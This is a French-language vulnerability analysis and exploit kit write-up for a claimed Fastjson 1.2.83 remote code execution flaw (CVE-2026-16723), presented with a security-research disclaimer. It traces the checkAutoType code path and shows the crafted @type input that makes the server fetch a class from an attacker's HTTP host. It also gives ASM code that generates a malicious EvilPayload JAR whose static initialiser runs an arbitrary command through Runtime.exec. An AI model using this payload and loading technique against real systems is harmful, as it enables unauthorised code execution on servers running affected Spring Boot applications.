Analyse détaillée de CVE-2026-16723 et kit d'exploitation pour Fastjson 1.2.83 RCE, couvrant les chemins de code vulnérables, la génération de JAR/bytecode malveillant et un environnement Docker Compose pour reproduire l'attaque.
Avis de non-responsabilité : ce projet est destiné uniquement à la recherche en sécurité et à l'apprentissage dans des environnements autorisés. Il est interdit de tester des systèmes non autorisés ; les conséquences de l'utilisation sont à la charge de l'utilisateur.
CVSS 9.0, affecte Fastjson 1.2.68 ~ 1.2.83. Aucun besoin d'activer AutoType, aucun besoin de gadget tiers, la configuration par défaut suffit pour l'exploitation.
Le point d'entrée de la vulnérabilité se trouve dans com.alibaba.fastjson.parser.ParserConfig.checkAutoType. Que l'on appelle JSON.parse(body) ou JSON.parseObject(body, Foo.class), on finit toujours par entrer dans cette méthode.
Chemin de code clé (fastjson 1.2.83) :
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
// ① 黑白名单检查——autoTypeSupport=false 时整段跳过
if (autoTypeSupport || expectClassFlag) { ... }
// ② @JSONType 注解探测
boolean jsonType = false;
InputStream is = null;
try {
String resource = typeName.replace('.', '/') + ".class";
if (defaultClassLoader != null) {
is = defaultClassLoader.getResourceAsStream(resource);
} else {
is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
}
if (is != null) {
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
}
} catch (Exception e) { }
finally { IOUtils.close(is); }
// ③ 类型加载
if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
// ④ jsonType=true 时跳过所有后续检查
if (clazz != null) {
if (jsonType) {
return clazz;
}
// denyList 检查、硬编码拦截、isAssignableFrom ...
}
}
Le commutateur AutoType (autoTypeSupport) contrôle uniquement ① l'accès, mais ② la détection d'annotations s'exécute inconditionnellement. Dès que jsonType dans ② devient true, ③ le chargement du type et ④ le contournement des vérifications de sécurité se déclenchent successivement.
String resource = typeName.replace('.', '/') + ".class";
typeName est la valeur de @type dans le JSON, entièrement contrôlable par l'attaquant. L'intention initiale est de convertir com.example.Foo en com/example/Foo.class, mais lorsque l'entrée est une URL, cela devient un constructeur d'URL.
Comme les . dans le hostname sont également remplacés, l'attaquant utilise une IP entière pour contourner cela. L'entier non signé 32 bits de 127.0.0.1 est 2130706433 :
输入: jar:http:..2130706433:8000.probe!.EvilPayload
↓ replace('.', '/')
输出: jar:http://2130706433:8000/probe!/EvilPayload.class
.. → //, .probe! → /probe!/, ce qui donne un localisateur de ressource jar:http:// valide.
is = defaultClassLoader.getResourceAsStream(resource);
La capacité de getResourceAsStream à résoudre jar:http:// en tant que ressource distante dépend entièrement du type de ClassLoader :
| ClassLoader | Comportement |
|---|---|
JDK AppClassLoader | Ne recherche que dans le classpath local → null |
Tomcat WebappClassLoader (WAR autonome) | Ne recherche que dans WEB-INF/lib → null |
Spring Boot LaunchedURLClassLoader (fat-JAR) | Prend en charge jar:http:// → sort en HTTP pour récupérer le bytecode |
Il y a ici un point facile à confondre : lorsque Tomcat est intégré à Spring Boot, le ClassLoader des classes applicatives est LaunchedURLClassLoader et non WebappClassLoader. Par conséquent, Tomcat/Jetty/Undertow intégrés entrent tous dans le périmètre affecté.
Lorsque is != null, le bytecode de classe distant hébergé par l'attaquant est déjà entré dans la mémoire de la JVM.
ClassReader classReader = new ClassReader(is, true);
TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
classReader.accept(visitor);
jsonType = visitor.hasJsonType();
Fastjson utilise ASM pour analyser le bytecode et vérifier s'il contient l'annotation @com.alibaba.fastjson.annotation.JSONType. L'intention de conception était une optimisation de performance — identifier rapidement les types gérés par Fastjson via l'annotation. Mais ici, seule la présence de l'annotation est vérifiée, sans valider la provenance du bytecode, sans vérifier le nom de la classe, sans restreindre la source. Il suffit que la classe distante de l'attaquant porte @JSONType pour obtenir le verdict jsonType=true.
Notez que catch (Exception e) {} est vide — l'attaquant ne recevra aucune erreur.

if (autoTypeSupport || jsonType || expectClassFlag) {
boolean cacheClass = autoTypeSupport || jsonType;
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}
jsonType=true suffit à remplir la condition. loadClass suit le processus standard de chargement de classe, et enregistre le bytecode comme objet Class de la JVM via defineClass.
Il faut distinguer deux concepts : defineClass réalise la définition de la classe (l'enregistrement dans la JVM), tandis que <clinit> s'exécute lors de la phase d'initialisation de la classe. Les deux phases peuvent s'accomplir au sein d'une même requête, mais selon la spécification de la JVM, elles sont indépendantes.
if (jsonType) {
return clazz;
}
Cette ligne contourne toutes les défenses suivantes :
ClassLoader/DataSource/RowSetdenyListexpectClass.isAssignableFrom(clazz)Cela explique aussi pourquoi parseObject(body, Dto.class) ne peut pas s'en protéger : la vérification de liaison de type intervient après le chargement de la classe, tandis que le code d'attaque s'exécute déjà au stade du chargement.
L'attaquant doit générer un fichier de bytecode remplissant trois conditions : porter l'annotation @JSONType, intégrer le code d'attaque dans <clinit>, et être hébergé via HTTP.
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(Opcodes.V1_6, Opcodes.ACC_PUBLIC,
"EvilPayload", null, "java/lang/Object", null);
// 过 ASM 探针
cw.visitAnnotation(
"Lcom/alibaba/fastjson/annotation/JSONType;", true
).visitEnd();
// <clinit> 里跑命令
MethodVisitor mv = cw.visitMethod(Opcodes.ACC_STATIC,
"<clinit>", "()V", null, null);
mv.visitCode();
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
"java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
mv.visitLdcInsn(cmd);
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
"java/lang/Runtime", "exec",
"(Ljava/lang/String;)Ljava/lang/Process;", false);
mv.visitInsn(Opcodes.RETURN);
// 打包
JarOutputStream jos = new JarOutputStream(new FileOutputStream(outPath));
jos.putNextEntry(new JarEntry("EvilPayload.class"));
jos.write(cw.toByteArray());
La logique malveillante est déclenchée via <clinit>, elle s'exécute dès que la classe est chargée.